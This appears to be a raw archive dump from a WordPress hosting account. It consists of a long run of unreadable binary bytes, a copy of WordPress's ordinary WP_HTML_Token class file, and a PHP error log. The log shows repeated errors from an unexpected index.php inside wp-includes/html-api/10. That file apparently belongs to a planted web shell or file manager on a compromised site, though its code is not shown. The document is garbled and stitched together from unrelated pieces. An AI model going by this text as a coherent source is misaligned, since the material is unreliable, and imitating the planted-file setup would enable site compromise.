8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
